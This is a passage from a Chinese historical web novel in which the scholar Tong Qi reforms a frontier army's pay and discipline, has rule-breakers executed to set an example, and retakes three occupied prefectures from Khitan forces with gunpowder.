“怎么办,城门口已经抵不住了,全是俘虏的百姓们,岳将军,咱们的火药能点燃吗?若对着下方的百姓……” 他话说到一半,戛然而止。 这些都是大奉朝的子民,虽然被俘虏了,可却也都是土生土长的自己人,或许,火药的威力在面对敌人时,可以起到畅快人心的效果,可当这东西加诸到曾经的百姓身上,也不免让杨舟万难以开口起来。 所有人皆沉默不已。 只有岳灼华拿着童启离开时赠送的望远镜,默默观察着敌营,无比冷静。 “此刻,他们不是大奉朝的人,只是敌军的盾牌罢了。” 岳灼华开口道,拿起弓箭,瞄准了远方的敌营,缓缓测算着风向与力道,终究还是放弃了行动。 “令人打开城门。” “什么?”杨舟万等人猛地一愣,有些难以置信。 岳灼华看着他们,再次重复道。 “我说,打开城门,让他们进来。” 平静的话语连一丝波动都没有。 担任将军时,岳灼华似乎完全变了个人,不再是以往那个大家闺秀,也不是那个千金小姐,而是如一台机器般,冷漠无比。 干练简洁。 城门很快在岳灼华的授命下开启,耶律休哥远远的站在队伍后面,见到城门打开,忍不住一喜,当场带着人便想要往里冲。 可一支箭飞速射过他的耳畔,令他瞬间停下了脚步。 可恶,又是这女人。 他抬头咬了咬牙,不是说大奉朝本身是看不起女人的吗?那为什么还要让一个女人掌管战事? 到底是谁授命的,难道就没有人起疑? 罢了,不让他往前,那他的士兵们总可以往前了吧? “都给我冲,第一个攻入城内的,赏银五百两!加封勇士!她只有一个弓箭,不可能奈何的了我们每个人!” 身后的 契丹人坐在马上,大声嚎叫着往内攻去。 可一箭又一箭,精准的就像是源源不断一般。 更可怖的是其精准性,几乎毫无落空。 当你听到箭声的时候,已经是你的脖颈被射穿之时。 有那幸运的,来不及被阻止,成功闯入城内,可随着一早设下的荆棘阵被拉起,伴随着马蹄嘶鸣倒下,层层叠叠的刀剑,已经瞬间架在了脖子上。 除了百姓,大概被拉入了几百人之众,然后岳灼华再次下令。 关闭城门。 瓮中捉鳖,当是如此。 不过几百人的契丹人,再是骁勇善战,即便入城,也比不上早已经拿着武器排列好的百姓们。 一匹匹马被斩杀擒拿,一个个人头颅被砍下,高挂在城墙之上。 第一次京都与契丹人的正面对仗,终究,还是以京都获胜为告终。 耶律休哥气哄哄的进入营帐内,令下属禀告此次的战况。 “禀将军,此次我们损伤了近三百的武士们,而俘虏则折损了近千人!对方阵营里,受伤的大概有十几人,死亡人数……只有,只有两人。” 桌上的酒盏被狠狠的掷出,耶律休哥怒不可遏。 被骗了。 什么好计策? 什么万中无一的法子,这文熙净分明就是在说大话! 哪里像他说的那么厉害,碰上这种远攻的战略,只要是个人都无法上前,现在倒好了,白白损失那么多俘虏,还没有奈何得了对方任何。 等等…… 耶律休哥突然想起什么,猛地站起身来。 “去,去营帐里,查看一下文熙净在哪儿,还有他的家人们,也统统给我带过来!” 这文先生,并非契丹人,乃是他们从黄龙府抓过来的秀才,听闻才高八斗,态度又乖顺的很,他这才让其担任军师。 可他呢? 竟然敢玩儿当面一套,背后一套? 领命的将士还未出去,另一个士兵已经急匆匆闯了进来。 “不好了,将军,文先生带着他的家人们,穿着俘虏的衣服,偷偷混在人群里,已经进了京都城了!” “什么?这个文熙净!竟然敢耍我,等我抓到,一定要将你碎尸万段!” 不顾契丹军营里的鸡飞狗跳,另一边,京都城内,岳灼华正看着被救回来的俘虏百姓们,令人将他们先管制起来。 待统一观察后,确认无误,没有混入内奸,再令其放出。 一位士兵悄然上前禀告道。 “岳将军,有一个俘虏自称是契丹人的军师,说是可以帮助您提供信息,共同守城……” 哦? 岳灼华挑了挑眉,令人将其带上前来- 童启一行一路往北走,穿过几个州府,避开闲散的契丹游兵,历经数十日,这才勉强到达了黄龙府附近。 比起京都毫无抵抗,放任被围困的场面,其他州府的氛围反而更加好一些。 起码还有着反抗的意识。 尤其是那宾州,更是民风彪悍,几乎人人手握武器,见到陌生人,便是一脸的警惕。 确认童启等人是纯纯的文人,毫无伤害性之后,这才放他们离去,可即便如此,听闻他们要往北走,也皆是一脸的不赞同,劝道。 “如今北边乱得很,你们这些士子还是莫要往前了,不然也只是给前线添乱。” 童启只得哭笑不得的回答,“放心吧,我们会注意的。” 他倒是不想去,可奈何圣上在后面催啊。 仿佛被当成了唯一的押宝之人,即便是深入北方,他每日也能收到各大驿站飞鸽传书的信件来。 皆是皇帝用各种语气抱怨的声音。 尤其是对方得知他还在京都内停留了一段时日,等城中事了之后,才再次启程的事情,那信中的语气,便更是冲了几分。 “京都之事不急,迟早能够拿回来,但是黄龙府不可丢,你先和那逆子好好谈谈,只要能解决了他,契丹人自然会退兵……” 不得不说,即便坐了十几年的皇位,这大奉朝帝王的军事观,还是有些天真的。 童启摇了摇头,借着灯油缓缓写着回信。 是,四殿下是借助的契丹人手中的兵力,夺得的黄龙府,看似他们好像的确是一起的。 可只要劝服了四殿下退兵,契丹人便肯退吗? 怎么可能? 这就像是引狼入室,明明对方嘴里都已经吃到肉了,这个时候你再让他吐出来,鬼才会答应! 想要退敌,想要谈判,只有一个方法,那便是——打。 打服!打到对方不敢伸手,一伸手就痛! 不管愿不愿意,都得退,不退,就没有后路。 那个时候再去谈,才是最有可能谈和的。 不然的话,那只是凭白去接受屈辱罢了。 割地赔款,那可是遗臭万年的事情,童启才不愿意去做。 他打算走另一条路,改革军政。 可这暂时不能跟皇帝说,因为但凡一动,便牵连巨甚,朝堂内的官员们不可能同意的,他只能先斩后奏,做完了再说。 写完安抚的信件后,童启仍觉得哪里空空的。 想起如今那些大臣们的态度,想起皇帝放弃百姓城池后荒唐的轻松感,他莫名想写些什么,发散发散心中的郁气,可提起笔,又觉得满腹学识难以开头。 犹豫着,他终于还是落下墨来,缓缓以苏洵的那篇《六国论》,作为开场。 “六国破灭,非兵不利,战不善,弊在赂秦。赂秦而力亏,破灭之道也……今日割五城,明日割十城,然后得一夕安寝。起视四境,而秦兵又至矣……” 畅快的写完,童启倒头就睡。 因此也没注意到门外的李元昊、赵天阙正闪烁着大眼睛,偷偷观察着,见他入睡,这才蹑手蹑脚的将那文章偷了出去。 两个人蹲在院子里,借着月光,如饥似渴的读着。 实际上是李元昊读,赵天阙听,毕竟她字还没有认全。 可即便如此,这文章之精妙,齿颊留香,也足以令两个小小的心灵震撼无比,久久难以说出话来。 第109章 第109章整顿军纪 如今黄龙府的情况,可以说是乱成了一锅粥。 自耶律修哥在四皇子的帮助下突破防守,一路南下,打了整个大奉朝措手不及后,徐将军与王常侍便日夜急着上表奏折解释起这件事的源头来,皆说不是自己之过,而是外出清剿残兵的柏弓良没有及时回营,这才酿成的如此惨祸。 且不说皇帝与朝中的大臣们是否相信,反正听到这个说法后,柏弓良旗下的士兵们率先不满了起来。 尤其是那些跟着柏大将军十几年的亲兵谋士们,更是怒不可遏。 “我去他娘的蛋!这徐家简直不要脸,明明是他自己丢的城,失的守,也能怪到咱们头上?” “要不是他把持着兵符,硬是将咱们将军调离黄龙府,这蓟州、涿州怎么也不可能失陷!” “每次要粮草都扣扣嗖嗖,每次打仗倒是让咱们先上,铠甲铠甲配不齐 ,武器武器没有,他奶奶的,要不咱们干脆反了算了!” “放肆,胡说什么?这样的逆天言论也是你能说的?”柏弓良听着下属们越说越不对头,愤而怒斥道。 他一天是大奉朝的兵,一辈子是大奉朝的兵。 没有大奉朝,他什么也不是。 即便皇帝再如何猜忌,他们柏家也绝对不可能起反心。 这话若是让王常侍听了去,岂不是找死? 几个将领皆知晓言语有些过分,纷纷心虚的低下了脑袋,倒是那崇晓林直言不讳,追问向柏弓良道。 “将军,接下来咱们怎么办?是继续死守,还是回京都?” 按照如今的状况,前线失利,必是需要有人来承担后果的。 徐将军和王常侍明显是想要将这个罪过,栽脏到他们柏家军的头上。若是坐以待毙,等待着他们的命令,那即便是死守住了最后一步,不让契丹人过线,也无用。 该丢的城都已经丢了,他们照样会得到朝廷清算。 可若是回京都,那就不同了。那里好歹是皇朝所在地,听闻还未彻底沦陷,赶得快的话,说不定还能够捞回来一城,怎么也算是个不小的功劳。 皇帝必定开心。 且远离了徐将军的控制后,他们日后也不必再担心有人抢功、随意指挥了。 堪称一劳永逸。 下属们跃跃欲试,只等一声令下,便收拾东西,拔营回京。 可柏弓良却依旧在犹豫。 他站在营房里,看着边城的几个地图,两手支撑着腰间厚重的铠甲,来回缓慢的踱着步。 是,蓟州等地是已经丢了,可未必没有拿回来的可能! 就这么眼睁睁放弃的话,实在是有些不甘心。 他曾派苍蝇偷偷混进几个城池里勘察过,驻守的契丹人不过才千余而已。 只要他们能带足精锐,拿好粮食与兵器,速战速决,肯定能抢的回来! 而且,打仗靠的是什么?不就是一鼓作气吗? 一步退,便步步退。今日他们若能够干脆的放弃这几个城池,退守京都,那他日呢,不照样可以放弃京都,退守开封? 那老祖宗打下来的江山算是彻底败完了。 没有任何一个将领愿意承担百年史书的骂名。 尤其是柏弓良。 他们“柏家军”的名号,可是从建国初期就有的,乃开国圣祖亲口所封! 哪里能容许有半点污名? 可关键是,他倒想反击,可目前阵营里没那么多人和粮草、武器啊!徐将军对他防的要死,丁点东西也不肯给。 要想靠他手下这些东西,去和整个契丹拼命的话,那还是弱了点。 正思索着,门外,突然有亲兵上前禀告,说是华夏书院的山长童启亲自来访,求见柏弓良柏大将军。 童启? 那家伙不在伊川教书,来这里干嘛? 他忙令人将其带上来,先是惊了一下对方猛然窜高的个头,这才后知后觉注意到他身后还跟着两个小家伙。 “胡闹,战火纷飞,你把孩子们带过来做什么?” 身量尚不足柏弓良大腿高的李元昊怀里抱着明显还是个奶娃娃的赵天阙,眼睛胡乱瞄着,像是对周围的一切都感到惊叹与好奇。 不知道的,还以为这是什么春游的好去处。 童启拍了拍对方的小脑袋瓜,令柏弓良不必在意这俩崽子,然后从怀中掏出皇帝的密诏来,道。 “柏弓良接旨。” 整个屋子里瞬间愣了三秒,然后所有武将们齐刷刷下跪。 好家伙,谁能想到一个少年,竟然随身带着诏书啊? 一众人屏住了呼吸细细聆听着密诏的内容。 当听到圣上令童启与四皇子谈判,并命令所有前线部队无条件配合谈判内容与方式时,不少士兵们打心底里倒抽了一口凉气;而听到圣上还一同授予了其尚方宝剑,令其可以先斩后奏时,这股惊愕更是到达了巅峰。 就连柏弓良都忍不住抬起了头,心里酸涩无比。 一个不过才十五岁,尚未入朝,便已经深受皇帝如此信任,可他们戎马半生,却连尚方宝剑、丹书铁券这类东西的影子都没见过。 这便是文人与武将的区别吗? 也太大了吧! 难以置信的接过诏书,细细的看了几遍,确认无误之后,他们才不得不接受了皇帝宁愿再派个文人过来指挥,都不愿把军权交给柏弓良的事实。 苦笑一声,柏弓良将诏书交还给童启,坦言道。 “童山长我自然是相信的,我手下的所有将领与士兵,也皆可以听从童山长的号令。可恕我直言,这支大军的主将领并非是我,而是徐将军,若您想要全权接管的话,只怕……还要经过他与王常侍的同意。” 恩,这俩人他知道。 一个是如今六皇子的亲舅舅,一个是圣上身边的老红人。 若没有他们天衣无缝的配合,只怕北方这几个州城丢的也没那么快。 童启不耐的叹了一声,烦躁的摆摆手,道,“先不必理会他们,我来访的消息已经传了出去,他们若想见我,迟早会自己找过来。我刚从京都过来,那里被耶律修哥率领的三万大军层层包围……” “什么?三万人?” 在场几个将领当即面色大变,起身便想要前往救援,被童启连忙拦住。 “先别急,我话还没说完。虽如此,但好在军器监的杨舟万和六……和岳灼华岳姑娘一同守着,如今暂且没有太大的危险,危机已暂解。” 众人这才长松一口气,又坐了回去。 “我一路北上,沿途见到不少老百姓流离失所,听闻蓟州、涿州、瀛洲皆已被占据,所以想问问现在到底是个什么情况?那几大州城,还有夺回来的可能吗?” 几人面面相觑,皆没有作答。 他们本以为,童启既然是为了谈判而来,那首先图的便是和,谁料想问的第一个问题,竟然是州城夺回来的可能?几个人纷纷振奋了精神,试探道。 “童山长这意思是……” “我觉得,我们可以先熟悉一下军营目前的情况,然后从整顿人心与军纪开始。” 他摸摸下巴,平静的表述道- 清晨,五点左右,营角的号角率先响起,不少士兵们纷纷起床,往校场跑去。 当然,也有那闲散,吊儿郎当的。 慢悠悠的穿着衣服往那里荡。 刘狗蛋便是这么一位。 他已经是军中的老油条了,一手啃着馒头,一手耷拉着脚上的鞋子,大声嘲笑道,“急什么,反正徐将军每一次叫咱们,也就是充充个样子罢了,有什么可跑的,真到了那里,说两句话也就散了。你们跑那么快,难不成还真想要上战场啊?” 周围听到这话,顿时冷静几分,犹豫的放缓了脚步。 刘狗蛋得意不已。 他自认从小就是村里最聪明的一个。虽没读过几页书,可却能将士绅的儿子耍的团团转。家里贫穷,养不起多余的人,听闻朝廷征兵,能填饱肚子,他便依然决然的入了营。 每次训练混在队伍的最后方,打仗冲锋便任由其他人往前,自己则慢悠悠在后面浑水摸鱼。 靠着这法子,他已经存活了三四年之久。 越来越熟练。 管他主将是谁,打的是契丹还是西夏,只要脸皮厚撑的久,有什么区别呢? 可今日,似乎有些不太一样。 校场里,微风飒飒,军旗插在墙上,迎风飘扬,主台上站着的并非徐将军与那个太监,而是一个相貌极其清俊的少年。 大概十五六岁,个子不低,身姿板正,活像是什么教书先生一般,可视线,却令人忍不住头皮一紧,像是被什么厚重的东西所压倒。刚开始,整个校场里还有很多人小声议论着这是谁,可很快的,在这股视线中,便慢慢的静下了声音。 整个校场内外,寂静无声。 童启环视着场上大概七八万的士兵人数,不满至极。 该死的,朝廷报上去的前线士兵可是高达十三万人数,每年光粮草调动,就拨了十五万的份额,可结果呢? 算上往年残次不齐的老兵,加起来,一共竟然才只有这么点儿? 即便是再怎么谎报,也有点过了头了吧? “诸位早上好,自我介绍一下,我乃华夏书院山长童启,受皇命,负责这次与契丹的交接和谈。今日叫大家来,不为别的,只想要明晰一点,那便是军中大家的福利待遇……” 一听这个,不少人顿时熟练的嚷嚷起来。 “哪里有什么福利啊,每天吃都吃不饱!” “能不能加钱,就这么点银子还不够出去喝顿花酒的。” “训练少一点吧,实在是太累了……” 如此云云,七嘴八舌。 童启沉 默的听着,等他们说的差不多了,才答道。 “很好,既然大家也有这样的想法,那我此行来,便是为了大家解决这个问题的。” 刘狗蛋等人瞬间眼睛亮了亮。 哭穷,是他们这些士兵的惯用方法了,只要换个将领就哭一遍,文官、太监来了尤甚,他们不懂其内规则,往往心软又仁慈,能哭到东西便算好,哭不到,好歹晚上也会有一顿丰厚的加餐,稳赚不赔! 可童启却与他们想象的并不一样。 “大家看到我左手边站着的这几个人了吗?从今日起,军中所有的士兵等级,重新界定。有不想打仗,只喜欢后勤之事的,请排到第一列队伍之中,登记自己的姓名。有想要建功立业,拼一把的,请排到第二列队伍中,经由童继本先生的检查后,再进行分营。当然,随着大家不同的区分,待遇粮饷也会随之改变,请大家慎重决定。” 下方顿时一片嘈杂。 什么意思?这是要改动他们的军制不成? 整个军营里粮饷就那么多,平均分配的话尚有人难以填饱肚子,这骤然分成好几等份,岂不是任由差距拉开的更大? 凭什么啊! 刘狗蛋率先不满,大声嚷嚷道,“凭什么听你的。我们不要变!” “对啊,为什么要改?我们不改!” 任谁都清楚,若是变了,以后浑水摸鱼,蹭粮饷的机会就少了,他们必须累死累活,付出同等的实力才能拿到相同的粮饷,傻子才愿意干呢! 童启拍拍手,令人抬上两个大大的木头箱子来,打开,里面全是铜钱,金灿灿,亮的人眼睛发光。 “这乃是战前临时变动,并非擅改军制,我有权希望大家一起配合,我的和谈相关。以后,军中实行六等份,冲锋军享受最高待遇,每月二两银,三餐一荤一素,米饭管饱,抚恤金五十两……” 原本吊儿郎当的不少人顿时目光一凌,认真起来。 要知道,如今军中的待遇,说出去好听,可真正落到手里的一个月也就不到半贯钱的程度,粥米清汤寡水,别说荤的了,连素菜都是清一色的萝卜白菜。 重赏之下出勇夫,就冲着童启那抚恤金五十两银的待遇,便足够让不少人冲破了脑袋。 “当然,冲锋军只需要三千五百人,并不多,有意的需要经过筛选才能够进入,进入后,训练也会比其他人更加严厉。而剩下的,还有侦察兵、火药兵、步兵、弓箭手等军种任由大家报名,相应的福利待遇也会有所不同……” 童启一一介绍着不同军种的待遇方式,几乎每一个,都比原本的混吃等死要强得多。 军营里有刘狗蛋这样的,自然也有真的想要建功立业的,只听着,便野心勃□□来。 当然,也有那明显感觉到这算法不太一样,似乎支出变得多了很些的。 但见到旁边柏大将军没有开口,自然也乐得闭嘴。 徐将军与王常侍听闻后,匆匆赶到校场来,呵斥住了童启的动作。 “放肆,此乃撼动军营的大事,岂可任由你一个外行人胡乱决定?” 原本还想要冷一冷童启,让他规矩一些,莫管军中之事,谁知道对方一上来就直切舌喉,打的他们措手不及! 打仗为的是什么,不就为了赚钱吗? 不赚钱,谁要卖命去干啊? 朝廷拨款给部队,本就是领头的将领拿一部分,王常侍拿一部分,再给朝堂内几位大人打点打点,就差不多了,真正分到每个士兵手中的,自然会锐减。 可童启呢?却一上来直接将粮饷瓜分了,还踩着底线,几乎一个也没留的分法! 谁允许的!谁承认的? 徐将军和王常侍怒不可遏,瞪着这个破坏规矩的人,恨不得直接将他原地赶出军营。 可童启却冷静的不行,他淡淡的瞥了两人一眼,掏出密诏来,递给徐将军,对方一目十行看完,顿时对童启在皇帝心中的地位高估几分。 但受宠是受宠,涉及军权,怎么也不可能任由对方胡乱操作。 他抖了抖手中的密诏,质问道。 “这上面写的是让我们配合您和谈相关,可没有说要改动军制!” “对啊,但前线失利,我和谈必然被动,想要争取主动权,就必须改革一部分的规则,才能将那丢失的几大州抢回来。徐将军,你是在质疑我的和谈方法吗?” 童启问道,抽出旁边的尚方宝剑,冷冷的对准了两人。 王常侍忙后退两步,避开那剑锋。 徐将军却并没一动作,只垂眸看着直指心口的剑刃,咬牙道。 “不敢。” 对上尚方宝剑,谁敢多言? 童启这人可不是朝中人,真的急了,拿他俩来树威,搞个先斩后奏之类的,那让人去哪儿哭去? 俩人识趣的后退一步,不敢再争,可暗地里却急忙忙传信给家族,让其上奏折抨击童启的胡作非为! 可那都是后话了,童启也并不在乎。 靠着柏大将军的支持,尚方宝剑与皇帝密诏的加持,童启这一次改革军制,堪称畅通无阻,而所有的训练方式,也大大变了模样。由童继本与柏大将军为主,商量着进行。 “我此番向大家树立十大军纪,希望今后诸位一同遵循,有那违法违规的,不论身份家世如何,官职高低,一律依法处理,别说我没有提前通知过。” 童启将手中的单子递向一旁的柏弓良,任其通读。 柏大将军一边读,一边在心中掀起波涛海浪。 “第一条,不准拿群众一针一线。有发现烧杀抢掠,恶意破坏群众财产的,斩!” “第二条,不准宿妓□□。有发现随意出营,彻夜未归者,斩!” “第三条,不准饮酒……” …… “第十条,不准破坏军人形象,在外要保持军风军容,着装整齐,举止端庄。若有违规者,上报纪律部,进行查处,确认无误后,扣分,计大过。” 柏弓良几乎每读一条,底下的人便惊叹一条。 似乎没想过部队里也会管这么宽。 尤其是不准烧杀抢掠,收群众东西,这便更让他们不解了。 谁家攻城后是不允许劫掠的啊?很多将领为了保持士兵血性,甚至鼓励这种行为,就是为了刺激他们的冲锋猛勇之感。而不少士兵们也将此当作增加外快的方式,不然谁会那么积极啊? 断了这一条,有什么用? 简直妇人之仁嘛。 大家不解,可童启坚持如此,也只好先听命再说。 第110章 第110章(二更)杀人立威…… 刘狗蛋却不信。 他认为这分明就是乱搞,朝廷不可能坐视不理。 于是分营队的时候,压根没去,开完大会第二日更是连训练也没参加,直接和几个狐朋狗友相约出 了军营,嫖妓去也。 挨着军营几里地的范围内,一贯是大家认为最好做生意的地方。 因为远离家乡,不在妻女身边,手里又拿了点银子便不免起了其他心思,再加上附近有几个挑唆的,便把血汗钱全换作了酒色,图一场美梦。 刘狗蛋便是其中之一。 若换做以前,这甚至是不少将领士兵们沟通感情的方式,压根不会有人管。可碰上新来的这小子,却成了错处,连个结伴的人都少了许多,于是,他喝着喝着,便不免有了几分闷气。 “妈的,一个毛头小子,连女人滋味都没尝过,懂什么军纪?就训吧,即便是训死了,难不成还能打得过那些人高马大的契丹人不成?装什么装。” 他坐在酒席中醉醺醺,大放厥词。 领头的老鸨冲着角落里点了点头,当晚,关于大奉朝临时换将,有新人插手军队管理的消息,便瞬间传遍了整个辽国。 历史上最著名的辽国太后萧绰坐在椅子上,垂眸沉思着。 “确定来的人当真是童启吗?他不过是一个书院的山长,哪里来的权力插手军政?” 旁边的官员连忙上前回答。 “许是大奉朝皇帝额外给的允许。这人自成名后,便颇受文坛喜爱,组织的几场活动,皆影响不小,其门下学生也相继毕业入了朝,按照我们前线得来的消息,童启这趟,似乎是拿着尚方宝剑来的。” 尚方宝剑? 那确实是下了血本了。 听闻自大奉朝建国初始就有这玩意儿,原本可是存在于皇室手中只给外戚使用的,谁曾想,第一个带着露面的,竟会是一个未入朝的素人? 这皇帝,倒的确是对其信重有加。 “不过也难怪,我也挺喜欢他写的诗词与文章的。对于有才华的人,大家本就有一定的偏向。让赵钦警醒一些,童启可不是一个冲动胡来的人,能够活捉,便尽量活捉,倘若能劝降他到我大辽来,便更是大功一件。” “是,太后。” 不同于萧绰的爱才,四皇子赵钦听闻后,却只觉搞笑。 他父亲真是糊涂惯了,以为派个文臣来便可以跟他说和,就能够让他回心转意了? 难不成还以为他还是幼时里那个打个巴掌给颗枣,便可以哄好的小孩子不成? 那可是杀妻夺子之仇! 别管谁来了,哪怕是他爹亲至,也绝不可能退让。 这一次,他一定要让整个大奉朝一起陪葬! 四殿下通红着眼,看向墙上挂着的大奉朝疆域图,用朱砂笔在京都城上,狠狠的画了一个红色的叉号。并命令谁的和谈都不接,不准让任何使臣靠近他们黄龙府十里的范围之内。 否则,杀无赦! 气势汹汹的意见发布出去,童启却没有任何回应。 因为他一早就没准备要去和谈。 现在根本不是谈的时机,即便谈了,也不可能有真正的结局。 而他在忙什么呢?忙杀鸡儆猴,忙接着整顿的军纪。 说实话,自他来到大奉朝后,便知道迟早会有这么一天。 不得不亲自作此抉择。 说他仁慈也好,说他心善也罢,他向来对所有人,都是能避免冲突就避免冲突,能不杀人就不杀人的。可形势所迫,偏偏有人故意去挑衅,去撞枪口上,那为了树军威,他也不得不眼睁睁的,看着这刑法执行。 当刘狗蛋与三名士兵一同被按在监斩台上的时候,犹糊里糊涂,搞不清楚到底发生了什么事情。 浑身萦绕的酒气缠绕在冰冷的刀锋上,看着那距离自己脖颈处仅有几厘米的大刀。 他所有的酒,瞬间清醒。 “等一等,这什么意思?要杀我?凭什么杀我,你不能杀我,柏将军,柏大将军!难道你就这么眼睁睁看着你的士兵被杀吗?徐将军,王常侍,我不想死,我不想死啊!” 四名犯禁者,其中有一个,甚至已经达到了将领级别,可童启依旧没有任何留情,将他们全部按在了监斩台上。 底下七万多的士兵,屏息注视着。 童启俯视着几人,朗声念着他们触犯的法条。 “……别怪我丑话没有说在前面,昨日刚颁布的十大军纪,今日,便有人以身犯禁。若如此想死,我也只能全了这几位的心思。只可惜,还未认识便要匆匆告别,也是令人遗憾。我再次重申一遍,十大军纪,并非儿戏,请诸君务必刻在脑子里,去遵守。今日这几位之后果,便是给大家一个警醒,我希望每位战士,即便是死,也堂堂正正死在战场上,而不是在军队里,遭受这样耻辱的处决,被冠以这样的墓志铭,连个抚恤金都没有。明白吗?” 明明是如此轻柔的语气。 晓之以理,动之以情。 可所有人却看着台上被羁押的士兵,战战兢兢,不敢多言一句。 当快刀扬起,人头滚落高台,鲜血飙溅在土地木板之上。 伴随着冷冽的微风,大家也终于意识到一个问题。 这人,是来真的。 别管你是愿意,还是不愿意,承认还是不承认。 旧有的规则如今重新洗牌,想要留下,想要建功立业,便只能遵守新的这一套。 无人可置喙。 杀完人,童启犹面色平静,像是刚看完一场演出般,他俯视着下方的士兵们,率先给未来几个月的目标定了性。 “诸君,若有认为我只是说说而已,很快就会走的,我劝你趁早打消了这个想法。我与其他文官不同,决定了什么,即便是死,也一定要完成,谁也改变不了我的想法。是,这一次我是为了和谈而来,可那是我最终的目的,却不是我达成的手段。” “我这人,不卑微,更不想跪着去求和。可要想赚到面子,还得靠战场上真刀真枪的去打。所以请大家务必给我三个月,三个月,是我与大家的约定。在这段时间里,我会不惜一切夺回那沦陷的几大州城,还请大家配合我,一起完成这件事。别管对方是契丹,还是西夏,亦或者是什么别的部落民族,只要胆敢踏上我大奉朝的土地,我便默认其,已经做好了战斗的准备。” “大家皆是为了保家卫国而生,历史上轻飘飘的一页,背后所承载的厚重却是百万人的人生。我相信不会有人愿意自己所处的文字里,尽是屈辱。我们进一步,那后人的脊梁便高挺一寸,我们退一步,那妻女乡邻所要面对的,便只剩万丈深渊!” “我们没有试错的成本。身为大奉朝子民,身为男人,唯有以战止战,才能使和平重新归来,而一切付出的汗水,将是你们永远的荣光!” 一番推心置腹,说的在场不少男人都不由汗津津,沉默以对。 少顷,不知谁咬牙喊了一句“战!” 整个校场上,顿时响彻起了一圈又一圈的呐喊声。 “战!战!战!” 那声音,气势如虹,带着一股破釜沉舟的绝望感。 他们已没有退路,既如此,那便,只能向前! 赵天阙和李元昊站在角落里,抬头痴痴的看着童启的样子,将对方的身影一下下刻在了心中,敬佩不已,满是星星眼。 柏弓良站在一旁,也不得不叹道,这可能就是文人风骨独有的魅力。 这话,他说出来,假。 可童启说来,却带着一股势如破竹,无路可走的困兽之感,令人不由的热血沸腾。 而凭借着这番话,这场杀鸡儆猴的试验,军队里这才总算是彻底归拢了人心,上下一体。 风气也不由整顿一肃。 再也没了什么浑水摸鱼,吊儿郎当,混吃等死的模样。 早中晚,童启令童继本帮忙柏大将军一同参与士兵们的训练。 从体力、态度、战术上,进行全方位的全新培训。肉眼可见的,几乎所有层级的士兵们都实力提高了不少,尤其是精锐兵,更是进退一致,整齐划一。当然,他们的待遇吃食也是整个营里最好的,不说顿顿有肉, 起码也没有再饿肚子的。 这一次,童继本从书院里带过来的安保人员,一共有二十三人,不连两小只,个个是武功的好手。 全被打乱调入了军中,作为指导员,辅助训练。 他们毕竟是被这法子狠狠磨过的,经验都要更多一些,论个别单兵的实力,更是能轻易碾压一个尖子,看的柏大将军是心动连连,忍不住又起了挖墙脚的心。 而靠着他们的帮忙,徐将军与王常侍等人,也算是彻底被架空,远离了核心区。 别管心里多么骂骂咧咧,可面上,却不敢有任何反驳。 此时的开封城。 随着童启新一篇文章《六国论》的流传开来,其在文坛上的名声也再次爆火,无人可挡。 胡丞相看着那文章,越看越觉得是在映射他们这群官员,不作为,任由大奉朝分崩离析一般。 他愤怒的将信纸扔到桌面上,怒斥道。 “这童启,一贯会带动舆论,难不成迁是我愿意的吗?” 我也不同意啊,可摊上这样的皇帝,他能怎么办? 自来到开封城后,胡丞相便勤勤恳恳,迅速带着人组建起一个新的六部来,处理朝堂政事,力求不影响大奉朝百姓们的日常生活,同时劝解着皇帝准备北归,派人前往京都,援救沦陷的州城。 可皇帝如何回答呢? “朕老了,深感体力不济,今后有什么要事就跟朕的两个儿子讲好了,乡野里到了朕这个年纪,都已经开始含饴弄孙了,可朕却要为了这子女闯下的祸事兜底,实在是太可怜了些。” 你可怜? 你到底有什么可怜的啊? 就这么一推二,二推三,皇帝竟率先开始甩锅了! 好几次暗搓搓的试探他,能不能退位让贤,“辞职”不干,让大皇子或者三皇子来接手皇帝的位置,他则后退一步,去当太上皇。 听听,这像话吗? 是,胡丞相一直想推大皇子上位不假。 可他想要的,不是这样的推法啊! 他想要的,是皇上登天,将完完整整的大奉朝传到大皇子手中,然后他们这些文臣再帮着一起解决天下事务,可现在呢,倒成了把这摊烂事全推给了儿子去处理,他自己反倒被择出来,装作无辜了? 就没见过这么厚颜无耻的! 况且,太上皇可仍旧是皇。即便退位,也不妨碍权力的争夺。 若回头天下收拾好了,他又变了卦,想要回来接着干怎么办,到时候新皇又该如何自处呢? 一山难容二虎。 这不是瞎胡闹吗? 胡丞相长叹着气,批改奏折的笔都掰断了几根,可暗地里却不敢松懈,仍旧联系着大皇子的各部,偷偷积攒着势力,以备不时之需。 新上任的汪启元看在眼里,急在心里。 他收到信,不仅杨舟万等人被困京都,就连山长也亲自上了前线,可皇帝却不派兵,不支援,这不是明摆着要他们等死嘛? 因着身份的问题,他难以亲自站出帮忙,只能暗地里偷偷给刘卜温、常仕进等人递信,让他们收集粮草,往前线发,给山长撑腰。 好在平原之地粮多,收集起来倒也不那么明显,一路顺遂,发了几次,倒也真帮上了不少忙。 而因着这些粮草,童启也更加肆无忌惮,有了底气。 不管别的,率先派人便将附近的契丹军皆给清了,然后便针对蓟州、涿州等地,分区开会,思考着快速夺城的方法。 “硬攻是不行的,损失的百姓也多,我们必须要用巧劲儿,尽量饱足州城百姓们的利益。若是能够找到人,里应外合便更好了。苍蝇,你之前说自己曾因打探消息,混进去过这几个州城,那现在让你继续带人进去的话,能行吗?” “自然。”苍蝇不假思索道,“但可能最多只能带三个人,太多了,容易引起察觉。” “三人足够了。” 童启挑挑眉,看着那几个城的周边地图,道。 “我让李元昊、崇晓林跟你一同进去,进去后,你们先去确认如今蓟州城的管理者是谁,其内是否有旧有的官员,尽量和他们产生联系,试探一下站位。能获得信任就获得信任,不能获得信任,便闹大,透露给契丹人……挑唆,明白吗?” 三人眼睛一亮,忙点头道,“明白。” “攻城先攻心,他们只有几千人,那势必不可能将所有官员都换做自己人,只要有一部分是心向大奉朝的,那咱们便足以找到破局之法。柏将军,就麻烦您和手下的将领们分头进攻了,至于武器嘛,劳您几位,跟我一起来看看……” 他神秘兮兮,带着柏大将军与崇晓林等将领到达了军营的边缘地带,然后远远的与童继本等人点了点头。 轰隆一声巨震,炮火声响彻天际,搞得附近飞鸟惊得飞起,马匹嘶鸣不止。 “这是……” 两个将军吓了一大跳,这才清楚原来前不久战事上说的什么天罚的手段,竟然是这个意思。 有着火药的入场,几位将领可以说是如有神助。 几日下,便将这玩意的使用手段给琢磨的明明白白。 三个州城,派了三波的将领而去,他们备足了弹药,拿好了武器。 不到半个月,便成功将契丹人赶出了大奉朝的领地,成功夺回了三座州城。 